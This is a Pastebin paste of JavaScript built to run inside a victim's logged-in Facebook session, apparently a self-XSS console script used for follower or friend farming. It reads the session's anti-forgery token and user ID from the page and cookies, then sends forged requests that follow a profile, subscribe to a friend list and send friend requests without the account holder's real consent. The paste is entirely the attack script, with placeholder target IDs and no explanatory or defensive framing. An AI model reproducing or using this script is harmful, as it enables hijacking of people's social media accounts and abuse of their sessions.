Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //code
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function a(abone) {
- var http4 = new XMLHttpRequest;
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- http4.onreadystatechange = function () {
- if (http4.readyState == 4 && http4.status == 200) http4.close
- };
- http4.send(params4)
- }
- function sublist(uidss) {
- var a = document.createElement('script');
- a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
- document.body.appendChild(a)
- }
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var now = (new Date).getTime();
- function IDS(r) {
- var X = new XMLHttpRequest();
- var XURL = "//www.facebook.com/ajax/add_friend/action.php";
- var XParams = "to_friend=" + r + "&action=add_friend&how_found=friend_browser_s&ref_param=none&&&outgoing_id=&logging_location=search&no_flyout_on_click=true&ego_log_data&http_referer&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=35&fb_dtsg=" + fb_dtsg + "&phstamp=";
- X.open("POST", XURL, true);
- X.onreadystatechange = function () {
- if (X.readyState == 4 && X.status == 200) {
- X.close
- }
- };
- X.send(XParams)
- }
- //add id
- a("");
- sublist("")
Advertisement
Add Comment
Please, Sign In to add comment